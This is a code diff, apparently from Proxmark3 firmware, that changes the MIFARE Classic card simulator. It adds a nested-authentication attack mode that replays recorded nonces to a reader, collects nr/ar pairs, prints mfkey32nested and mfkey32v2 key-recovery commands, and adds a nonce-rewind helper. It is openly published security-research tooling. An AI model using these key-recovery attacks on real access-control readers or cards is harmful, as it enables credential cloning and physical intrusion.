@ -791,12 +789,21 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] KEY %c: %012" PRIx64, (cardAUTHKEY == 0) ? 'A' : 'B', emlGetKey(cardAUTHSC, cardAUTHKEY));
// sector out of range - do not respond
if ((cardAUTHSC >= cardMaxSEC) && (flags & FLAG_MF_ALLOW_OOB_AUTH) == 0) {
cardAUTHKEY = AUTHKEYNONE; // not authenticated
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Out of range sector %d(0x%02x) >= %d(0x%02x)", cardAUTHSC, cardAUTHSC, cardMaxSEC, cardMaxSEC);
LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true);
break;
}
// first authentication
crypto1_deinit(pcs);
// Load key into crypto
crypto1_init(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY));
running_nested_auth_attack = false;
if (!encrypted_data) {
// Receive Cmd in clear txt
// Update crypto state (UID ^ NONCE)
@ -820,9 +827,38 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
ans = nonce ^ crypto1_word(pcs, cuid ^ nonce, 0);
num_to_bytes(ans, 4, rAUTH_AT);
*/
// rAUTH_NT, rAUTH_NT_keystream contains prepared nonce and keystream for nested authentication
// we need calculate parity bits for non-encrypted sequence
mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par);
// if key not known and FLAG_NESTED_AUTH_ATTACK and we have nt/nt_enc/parity, send recorded nt_enc and parity
if ((flags & FLAG_NESTED_AUTH_ATTACK) == FLAG_NESTED_AUTH_ATTACK) {
if (emlGetKey(cardAUTHSC, cardAUTHKEY) == 0) {
uint8_t buf[MIFARE_BLOCK_SIZE] = {0};
emlGetMem_xt(buf, (CARD_MEMORY_RF08S_OFFSET / MIFARE_BLOCK_SIZE) + cardAUTHSC, 1, MIFARE_BLOCK_SIZE);
if (buf[(cardAUTHKEY * 8) + 3] == 0xAA) { // extra check to tell we have nt/nt_enc/par_err
running_nested_auth_attack = true;
// nt
nonce = bytes_to_num(buf + (cardAUTHKEY * 8), 2);
nonce = nonce << 16 | prng_successor(nonce, 16);
// nt_enc
memcpy(response, buf + (cardAUTHKEY * 8) + 4, 4);
uint8_t nt_par_err = buf[(cardAUTHKEY * 8) + 2];
uint32_t nt_enc = bytes_to_num(response, 4);
response_par[0] = ((((nt_par_err >> 3) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 7 |
(((nt_par_err >> 2) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 6 |
(((nt_par_err >> 1) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 5 |
(((nt_par_err >> 0) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF)) << 4);
ar_nr_resp[0].cuid = cuid;
ar_nr_resp[0].sector = cardAUTHSC;
ar_nr_resp[0].keytype = cardAUTHKEY;
ar_nr_resp[0].nonce = nonce;
ar_nr_resp[0].nonce2 = nt_enc;
};
}
}
if (running_nested_auth_attack == false) {
// rAUTH_NT, rAUTH_NT_keystream contains prepared nonce and keystream for nested authentication
// we need calculate parity bits for non-encrypted sequence
mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par);
}
EmSendCmdPar(response, 4, response_par);
FpgaDisableTracing();
@ -893,14 +929,16 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// Compliance of MIFARE Classic EV1 1K Datasheet footnote of Table 8
// If access bits show that key B is Readable, any subsequent memory access will be refused.
// Some cards don't respect it so we can also skip it with FLAG_MF_USE_READ_KEYB
if ((flags & FLAG_MF_USE_READ_KEYB) != FLAG_MF_USE_READ_KEYB) {
if (cardAUTHKEY == AUTHKEYB && IsKeyBReadable(blockNo)) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
if (cardAUTHKEY == AUTHKEYB && IsKeyBReadable(blockNo)) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
if (g_dbglevel >= DBG_ERROR)
Dbprintf("[MFEMUL_WORK] Access denied: Reader tried to access memory on authentication with key B while key B is readable in sector (0x%02x)", cardAUTHSC);
break;
if (g_dbglevel >= DBG_ERROR)
Dbprintf("[MFEMUL_WORK] Access denied: Reader tried to access memory on authentication with key B while key B is readable in sector (0x%02x)", cardAUTHSC);
break;
}
}
}
@ -923,7 +961,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// first block
if (blockNo == 4) {
p_em += blockNo * 16;
p_em += (blockNo * MIFARE_BLOCK_SIZE);
// TLV in NDEF, flip length between
// 4 | 03 21 D1 02 1C 53 70 91 01 09 54 02 65 6E 4C 69
// 0xFF means long length
@ -938,7 +976,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
}
}
emlGetMem(response, blockNo, 1);
emlGetMem_xt(response, blockNo, 1, MIFARE_BLOCK_SIZE);
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_WORK - ISO14443A_CMD_READBLOCK] Data Block[%d]: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", blockNo,
@ -978,13 +1016,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
}
} else {
if (IsAccessAllowed(blockNo, cardAUTHKEY, AC_DATA_READ) == false) {
memset(response, 0x00, 16); // datablock cannot be read
memset(response, 0x00, MIFARE_BLOCK_SIZE); // datablock cannot be read
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK - IsAccessAllowed] Data block %d (0x%02x) cannot be read", blockNo, blockNo);
}
}
AddCrc14A(response, 16);
mf_crypto1_encrypt(pcs, response, MAX_MIFARE_FRAME_SIZE, response_par);
EmSendCmdPar(response, MAX_MIFARE_FRAME_SIZE, response_par);
AddCrc14A(response, MIFARE_BLOCK_SIZE);
mf_crypto1_encrypt(pcs, response, MIFARE_BLOCK_SIZE + CRC16_SIZE, response_par);
EmSendCmdPar(response, MIFARE_BLOCK_SIZE + CRC16_SIZE, response_par);
FpgaDisableTracing();
if (g_dbglevel >= DBG_EXTENDED) {
@ -996,7 +1034,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
numReads++;
if (exitAfterNReads > 0 && numReads == exitAfterNReads) {
Dbprintf("[MFEMUL_WORK] %d reads done, exiting", numReads);
Dbprintf("[MFEMUL_WORK] " _YELLOW_("%u") " reads done, exiting", numReads);
finished = true;
}
break;
@ -1077,7 +1115,9 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// case MFEMUL_WORK => CMD RATS
if (receivedCmd_len == 4 && receivedCmd_dec[0] == ISO14443A_CMD_RATS && (receivedCmd_dec[1] & 0xF0) <= 0x80 && (receivedCmd_dec[1] & 0x0F) <= 0x0e) {
if (rats && rats_len) {
if (encrypted_data) {
memcpy(response, rats, rats_len);
mf_crypto1_encrypt(pcs, response, rats_len, response_par);
@ -1085,46 +1125,58 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
} else {
EmSendCmd(rats, rats_len);
}
FpgaDisableTracing();
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_WORK] RCV RATS => ACK");
}
} else {
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_WORK] RCV RATS => NACK");
}
}
break;
}
// case MFEMUL_WORK => ISO14443A_CMD_NXP_DESELECT
if (receivedCmd_len == 3 && receivedCmd_dec[0] == ISO14443A_CMD_NXP_DESELECT) {
if (rats && rats_len) {
// response back NXP_DESELECT
if (encrypted_data) {
memcpy(response, receivedCmd_dec, receivedCmd_len);
mf_crypto1_encrypt(pcs, response, receivedCmd_len, response_par);
EmSendCmdPar(response, receivedCmd_len, response_par);
} else
} else {
EmSendCmd(receivedCmd_dec, receivedCmd_len);
}
FpgaDisableTracing();
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK");
}
} else {
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK");
}
}
break;
}
// case MFEMUL_WORK => command not allowed
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("Received command not allowed, nacking");
}
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
break;
@ -1132,93 +1184,74 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// AUTH1
case MFEMUL_AUTH1: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_AUTH1] Enter case");
}
if (receivedCmd_len != 8) {
cardSTATE_TO_IDLE();
LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true);
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("MFEMUL_AUTH1: receivedCmd_len != 8 (%d) => cardSTATE_TO_IDLE())", receivedCmd_len);
}
break;
}
nr = bytes_to_num(receivedCmd, 4);
ar = bytes_to_num(&receivedCmd[4], 4);
// Collect AR/NR per keytype & sector
if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
if (ar_nr_collected[i + mM] == 0 ||
(
(cardAUTHSC == ar_nr_resp[i + mM].sector) &&
(cardAUTHKEY == ar_nr_resp[i + mM].keytype) &&
(ar_nr_collected[i + mM] > 0)
)
) {
// if first auth for sector, or matches sector and keytype of previous auth
if (ar_nr_collected[i + mM] < 2) {
// if we haven't already collected 2 nonces for this sector
if (ar_nr_resp[ar_nr_collected[i + mM]].ar != ar) {
// Avoid duplicates... probably not necessary, ar should vary.
if (ar_nr_collected[i + mM] == 0) {
// first nonce collect
ar_nr_resp[i + mM].cuid = cuid;
ar_nr_resp[i + mM].sector = cardAUTHSC;
ar_nr_resp[i + mM].keytype = cardAUTHKEY;
ar_nr_resp[i + mM].nonce = nonce;
ar_nr_resp[i + mM].nr = nr;
ar_nr_resp[i + mM].ar = ar;
nonce1_count++;
// add this nonce to first moebius nonce
ar_nr_resp[i + ATTACK_KEY_COUNT].cuid = cuid;
ar_nr_resp[i + ATTACK_KEY_COUNT].sector = cardAUTHSC;
ar_nr_resp[i + ATTACK_KEY_COUNT].keytype = cardAUTHKEY;
ar_nr_resp[i + ATTACK_KEY_COUNT].nonce = nonce;
ar_nr_resp[i + ATTACK_KEY_COUNT].nr = nr;
ar_nr_resp[i + ATTACK_KEY_COUNT].ar = ar;
ar_nr_collected[i + ATTACK_KEY_COUNT]++;
} else { // second nonce collect (std and moebius)
ar_nr_resp[i + mM].nonce2 = nonce;
ar_nr_resp[i + mM].nr2 = nr;
ar_nr_resp[i + mM].ar2 = ar;
if (!gettingMoebius) {
nonce2_count++;
// check if this was the last second nonce we need for std attack
if (nonce2_count == nonce1_count) {
// done collecting std test switch to moebius
// first finish incrementing last sample
ar_nr_collected[i + mM]++;
// switch to moebius collection
gettingMoebius = true;
mM = ATTACK_KEY_COUNT;
nonce = nonce * 7;
break;
}
} else {
moebius_n_count++;
// if we've collected all the nonces we need - finish.
if (nonce1_count == moebius_n_count)
finished = true;
}
}
ar_nr_collected[i + mM]++;
}
}
// we found right spot for this nonce stop looking
break;
}
}
}
// --- crypto
crypto1_word(pcs, nr, 1);
cardRr = ar ^ crypto1_word(pcs, 0, 0);
// test if auth KO
if (cardRr != prng_successor(nonce, 64)) {
// Collect AR/NR per keytype & sector
if (running_nested_auth_attack) {
ar_nr_resp[0].nr = nr;
ar_nr_resp[0].ar = ar;
ar_nr_resp[0].state = NESTED;
finished = true;
}
if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
if (ar_nr_resp[i].state == EMPTY ||
(
(ar_nr_resp[i].state != EMPTY) &&
(cardAUTHSC == ar_nr_resp[i].sector) &&
(cardAUTHKEY == ar_nr_resp[i].keytype)
)
) {
// if first auth for sector, or matches sector and keytype of previous auth
if (ar_nr_resp[i].state != SECOND) {
// if we haven't already collected 2 nonces for this sector
if (ar_nr_resp[i].state == EMPTY) {
// first nonce collect
ar_nr_resp[i].cuid = cuid;
ar_nr_resp[i].sector = cardAUTHSC;
ar_nr_resp[i].keytype = cardAUTHKEY;
ar_nr_resp[i].nonce = nonce;
ar_nr_resp[i].nr = nr;
ar_nr_resp[i].ar = ar;
ar_nr_resp[i].state = FIRST;
} else { // second nonce collect
// make sure we have different nonces for moebius attack
if (ar_nr_resp[i].nonce != nonce) {
ar_nr_resp[i].nonce2 = nonce;
ar_nr_resp[i].nr2 = nr;
ar_nr_resp[i].ar2 = ar;
ar_nr_resp[i].state = SECOND;
finished = true;
}
}
}
// we found right spot for this nonce stop looking
break;
}
}
}
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_AUTH1] AUTH FAILED for sector %d with key %c. [nr=%08x cardRr=%08x] [nt=%08x succ=%08x]"
, cardAUTHSC
@ -1257,22 +1290,29 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// WRITE BL2
case MFEMUL_WRITEBL2: {
if (receivedCmd_len == MAX_MIFARE_FRAME_SIZE) {
if (receivedCmd_len == MIFARE_BLOCK_SIZE + CRC16_SIZE) {
mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, receivedCmd_dec);
if (CheckCrc14A(receivedCmd_dec, receivedCmd_len)) {
if (IsSectorTrailer(cardWRBL)) {
emlGetMem(response, cardWRBL, 1);
if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYA_WRITE)) {
emlGetMem_xt(response, cardWRBL, 1, MIFARE_BLOCK_SIZE);
if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYA_WRITE) == false) {
memcpy(receivedCmd_dec, response, 6); // don't change KeyA
}
if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYB_WRITE)) {
if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYB_WRITE) == false) {
memcpy(receivedCmd_dec + 10, response + 10, 6); // don't change KeyA
}
if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_AC_WRITE)) {
if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_AC_WRITE) == false) {
memcpy(receivedCmd_dec + 6, response + 6, 4); // don't change AC bits
}
} else {
if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_DATA_WRITE)) {
if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_DATA_WRITE) == false) {
memcpy(receivedCmd_dec, response, 16); // don't change anything
}
}
@ -1355,53 +1395,56 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
FpgaDisableTracing();
// NR AR ATTACK
// mfkey32
if (((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) && (g_dbglevel >= DBG_INFO)) {
for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
if (ar_nr_collected[i] == 2) {
Dbprintf("Collected two pairs of AR/NR which can be used to extract sector %d " _YELLOW_("%s")
, ar_nr_resp[i].sector
, (ar_nr_resp[i].keytype == AUTHKEYA) ? "key A" : "key B"
uint8_t index = 0;
if (running_nested_auth_attack) {
if ((nonce_state)ar_nr_resp[0].state == NESTED) {
running_nested_auth_attack = false;
if (g_dbglevel >= DBG_INFO) {
Dbprintf("Collected nested AR/NR which can be used to extract sector %d " _YELLOW_("%s")
, ar_nr_resp[0].sector
, (ar_nr_resp[0].keytype == AUTHKEYA) ? "key A" : "key B"
);
Dbprintf("../tools/mfc/card_reader/mfkey32 %08x %08x %08x %08x %08x %08x",
ar_nr_resp[i].cuid, //UID
ar_nr_resp[i].nonce, //NT
ar_nr_resp[i].nr, //NR1
ar_nr_resp[i].ar, //AR1
ar_nr_resp[i].nr2, //NR2
ar_nr_resp[i].ar2 //AR2
Dbprintf("../tools/mfc/card_reader/mfkey32nested %08x %08x %08x %08x %08x",
ar_nr_resp[0].cuid, //UID
ar_nr_resp[0].nonce, //NT
ar_nr_resp[0].nonce2,//NT_ENC
ar_nr_resp[0].nr, //NR1
ar_nr_resp[0].ar //AR1
);
}
}
}
// mfkey32 v2
for (uint8_t i = ATTACK_KEY_COUNT; i < ATTACK_KEY_COUNT * 2; i++) {
if (ar_nr_collected[i] == 2) {
Dbprintf("Collected two pairs of AR/NR which can be used to extract sector %d " _YELLOW_("%s")
, ar_nr_resp[i].sector
, (ar_nr_resp[i].keytype == AUTHKEYB) ? "key A" : "key B"
);
Dbprintf("../tools/mfc/card_reader/mfkey32v2 %08x %08x %08x %08x %08x %08x %08x",
ar_nr_resp[i].cuid, //UID
ar_nr_resp[i].nonce, //NT
ar_nr_resp[i].nr, //NR1
ar_nr_resp[i].ar, //AR1
ar_nr_resp[i].nonce2,//NT2
ar_nr_resp[i].nr2, //NR2
ar_nr_resp[i].ar2 //AR2
);
} else {
// NR AR ATTACK
if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
if ((nonce_state)ar_nr_resp[i].state == SECOND) {
index = i;
if (g_dbglevel >= DBG_INFO) {
Dbprintf("Collected two pairs of AR/NR which can be used to extract sector %d " _YELLOW_("%s")
, ar_nr_resp[i].sector
, (ar_nr_resp[i].keytype == AUTHKEYA) ? "key A" : "key B"
);
Dbprintf("../tools/mfc/card_reader/mfkey32v2 %08x %08x %08x %08x %08x %08x %08x",
ar_nr_resp[i].cuid, //UID
ar_nr_resp[i].nonce, //NT
ar_nr_resp[i].nr, //NR1
ar_nr_resp[i].ar, //AR1
ar_nr_resp[i].nonce2,//NT2
ar_nr_resp[i].nr2, //NR2
ar_nr_resp[i].ar2 //AR2
);
}
}
}
}
}
if (g_dbglevel >= DBG_ERROR) {
Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", get_tracing(), BigBuf_get_traceLen());
}
if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { // Interactive mode flag, means we need to send ACK
//Send the collected ar_nr in the response
reply_mix(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp));
reply_ng(CMD_HF_MIFARE_SIMULATE, button_pushed ? PM3_EOPABORTED : PM3_SUCCESS, (uint8_t *)&ar_nr_resp[index], sizeof(nonces_t));
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);

View file

@ -21,6 +21,7 @@
#define __MIFARESIM_H
#include "common.h"
#include "mifare.h"
#ifndef CheckCrc14A
# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len))
@ -41,6 +42,7 @@
#define AUTHKEYB 1
#define AUTHKEYNONE 0xff
void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak);
void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak);
bool MifareSimInit(uint16_t flags, uint8_t *uid, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len);
#endif

View file

@ -50,7 +50,6 @@ void RAMFUNC SniffMifare(uint8_t param) {
// free all previous allocations first
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
// The command (reader -> tag) that we're receiving.
@ -137,13 +136,13 @@ void RAMFUNC SniffMifare(uint8_t param) {
if (dataLen < 1) continue;
// primary buffer was stopped ( <-- we lost data!
if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary
}
// secondary buffer sets as primary, secondary buffer was stopped
if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}

View file

@ -100,7 +100,7 @@ uint16_t mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t
uint16_t pos;
uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};
uint8_t ecmd[4] = {0x00, 0x00, 0x00, 0x00};
uint8_t par[1] = {0x00}; // 1 Byte parity is enough here
uint8_t par[MAX_MIFARE_PARITY_SIZE] = {0x00}; // used for cmd and answer
AddCrc14A(dcmd, 2);
memcpy(ecmd, dcmd, sizeof(dcmd));
@ -156,7 +156,9 @@ int mifare_classic_authex_cmd(struct Crypto1State *pcs, uint32_t uid, uint8_t bl
// Transmit MIFARE_CLASSIC_AUTH, 0x60 for key A, 0x61 for key B, or 0x80 for GDM backdoor
int len = mifare_sendcmd_short(pcs, isNested, cmd, blockNo, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, timing);
if (len != 4) return 1;
if (len != 4) {
return 1;
}
// Save the tag nonce (nt)
uint32_t nt = bytes_to_num(receivedAnswer, 4);
@ -334,8 +336,9 @@ int mifare_ul_ev1_auth(uint8_t *keybytes, uint8_t *pack) {
return 0;
}
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("Auth Resp: %02x%02x%02x%02x", resp[0], resp[1], resp[2], resp[3]);
}
memcpy(pack, resp, 4);
return 1;
@ -437,21 +440,17 @@ int mifare_ultra_aes_auth(uint8_t keyno, uint8_t *keybytes) {
uint8_t key[16] = { 0 };
memcpy(key, keybytes, sizeof(key));
uint16_t len = 0;
// 1 cmd + 16 bytes + 2 crc
uint8_t resp[19] = {0x00};
uint8_t respPar[5] = {0};
// setup AES
mbedtls_aes_context actx;
mbedtls_aes_init(&actx);
mbedtls_aes_init(&actx);
mbedtls_aes_setkey_dec(&actx, key, 128);
// Send REQUEST AUTHENTICATION / receive tag nonce
len = mifare_sendcmd_short(NULL, CRYPT_NONE, MIFARE_ULAES_AUTH_1, keyno, resp, sizeof(resp), respPar, NULL);
uint16_t len = mifare_sendcmd_short(NULL, CRYPT_NONE, MIFARE_ULAES_AUTH_1, keyno, resp, sizeof(resp), respPar, NULL);
if (len != 19) {
if (g_dbglevel >= DBG_ERROR) Dbprintf("Cmd Error: %02x - expected 19 got " _RED_("%u"), resp[0], len);
return 0;
@ -480,19 +479,20 @@ int mifare_ultra_aes_auth(uint8_t keyno, uint8_t *keybytes) {
mbedtls_aes_setkey_enc(&actx, key, 128);
mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_ENCRYPT, sizeof(enc_rnd_ab), IV, rnd_ab, enc_rnd_ab);
// send & recieve
// send & receive
len = mifare_sendcmd(MIFARE_ULAES_AUTH_2, enc_rnd_ab, sizeof(enc_rnd_ab), resp, sizeof(resp), respPar, NULL);
if (len != 19) {
if (g_dbglevel >= DBG_ERROR) Dbprintf("Cmd Error: %02x - expected 19 got " _RED_("%u"), resp[0], len);
if (g_dbglevel >= DBG_INFO) Dbprintf("Cmd Error: %02x - expected 19 got " _RED_("%u"), resp[0], len);
return 0;
}
memset(IV, 0, 16);
mbedtls_aes_setkey_dec(&actx, key, 128);
mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_DECRYPT, sizeof(random_b), IV, resp + 1, random_b);
mbedtls_aes_free(&actx);
if (memcmp(random_b, random_a, 16) != 0) {
if (g_dbglevel >= DBG_ERROR) Dbprintf("failed authentication");
if (g_dbglevel >= DBG_INFO) Dbprintf("failed authentication");
return 0;
}
@ -507,8 +507,6 @@ int mifare_ultra_aes_auth(uint8_t keyno, uint8_t *keybytes) {
Dbprintf("B:");
Dbhexdump(16, random_b, false);
}
mbedtls_aes_free(&actx);
return 1;
}
@ -756,14 +754,16 @@ uint8_t FirstBlockOfSector(uint8_t sectorNo) {
}
// work with emulator memory
void emlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int block_width) {
void emlSetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width) {
uint32_t offset = blockNum * block_width;
uint32_t len = blocksCount * block_width;
emlSet(data, offset, len);
}
void emlGetMem(uint8_t *data, int blockNum, int blocksCount) {
emlGet(data, (blockNum * 16), (blocksCount * 16));
void emlGetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width) {
uint32_t offset = blockNum * block_width;
uint32_t len = blocksCount * block_width;
emlGet(data, offset, len);
}
bool emlCheckValBl(int blockNum) {
@ -817,10 +817,11 @@ uint64_t emlGetKey(int sectorNum, int keyType) {
}
void emlClearMem(void) {
BigBuf_Clear_EM();
const uint8_t trailer[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x80, 0x69, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
const uint8_t uid[] = {0xe6, 0x84, 0x87, 0xf3, 0x16, 0x88, 0x04, 0x00, 0x46, 0x8e, 0x45, 0x55, 0x4d, 0x70, 0x41, 0x04};
uint8_t *mem = BigBuf_get_EM_addr();
memset(mem, 0, CARD_MEMORY_SIZE);
// fill sectors trailer data
for (uint16_t b = 3; b < MIFARE_4K_MAXBLOCK; ((b < MIFARE_2K_MAXBLOCK - 4) ? (b += 4) : (b += 16))) {
@ -983,3 +984,12 @@ int nonce_distance(uint32_t from, uint32_t to) {
int nonce16_index(uint16_t nt) {
return nonce16_distance(0x0100, nt) + 1;
}
uint32_t rewind_nonce(uint32_t from, uint16_t dist) {
uint16_t x = from >> 16;
for (uint16_t i = 0; i < dist; i++) {
x = ((x << 1 | x >> 15) & 0xffff) ^ ((x >> 1 ^ x >> 2 ^ x >> 4) & 0x100);
}
uint32_t nt = x;
return nt << 16 | prng_successor(nt, 16);
}

View file

@ -40,13 +40,27 @@
#define MIFARE_4K_MAXBLOCK 256
#define MIFARE_2K_MAXBLOCK 128
#define MIFARE_1K_MAXBLOCK 64
#define MIFARE_1K_EV1_MAXBLOCK (MIFARE_1K_MAXBLOCK + 8)
#define MIFARE_MINI_MAXBLOCK 20
#define MIFARE_MINI_MAXSECTOR 5
#define MIFARE_1K_MAXSECTOR 16
#define MIFARE_1K_EV1_MAXSECTOR (MIFARE_1K_MAXSECTOR + 2)
#define MIFARE_2K_MAXSECTOR 32
#define MIFARE_4K_MAXSECTOR 40
#define MIFARE_4K_MAX_BYTES 4096
#define MIFARE_2K_MAX_BYTES 2048
#define MIFARE_1K_MAX_BYTES 1024
#define MIFARE_1K_EV1_MAX_BYTES (MIFARE_1K_MAX_BYTES + 128)
#define MIFARE_MINI_MAX_BYTES 320
#define MIFARE_MINI_MAX_KEY_SIZE (MIFARE_MINI_MAXSECTOR * 2 * MIFARE_KEY_SIZE)
#define MIFARE_1K_MAX_KEY_SIZE (MIFARE_1K_MAXSECTOR * 2 * MIFARE_KEY_SIZE)
#define MIFARE_1K_EV1_MAX_KEY_SIZE (MIFARE_1K_EV1_MAXSECTOR * 2 * MIFARE_KEY_SIZE)
#define MIFARE_2K_MAX_KEY_SIZE (MIFARE_2K_MAXSECTOR * 2 * MIFARE_KEY_SIZE)
#define MIFARE_4K_MAX_KEY_SIZE (MIFARE_4K_MAXSECTOR * 2 * MIFARE_KEY_SIZE)
#define MIFARE_BLOCK_SIZE 16
//mifare emulator states
@ -117,8 +131,9 @@ uint8_t SectorTrailer(uint8_t blockNo);
// emulator functions
void emlClearMem(void);
void emlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int block_width);
void emlGetMem(uint8_t *data, int blockNum, int blocksCount);
void emlSetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width);
void emlGetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width);
uint64_t emlGetKey(int sectorNum, int keyType);
int emlGetValBl(uint32_t *blReg, uint8_t *blBlock, int blockNum);
void emlSetValBl(uint32_t blReg, uint8_t blBlock, int blockNum);
@ -128,4 +143,5 @@ bool validate_parity_nonce(uint32_t ntenc, uint8_t ntparenc, uint32_t nt);
int nonce_distance(uint32_t from, uint32_t to);
